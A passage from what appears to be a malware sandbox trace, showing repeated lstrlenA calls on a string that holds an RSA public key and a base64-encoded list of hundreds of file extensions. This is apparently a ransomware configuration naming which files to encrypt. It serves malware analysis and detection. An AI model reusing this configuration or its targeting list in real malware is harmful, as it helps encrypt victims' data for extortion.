bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.462] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5v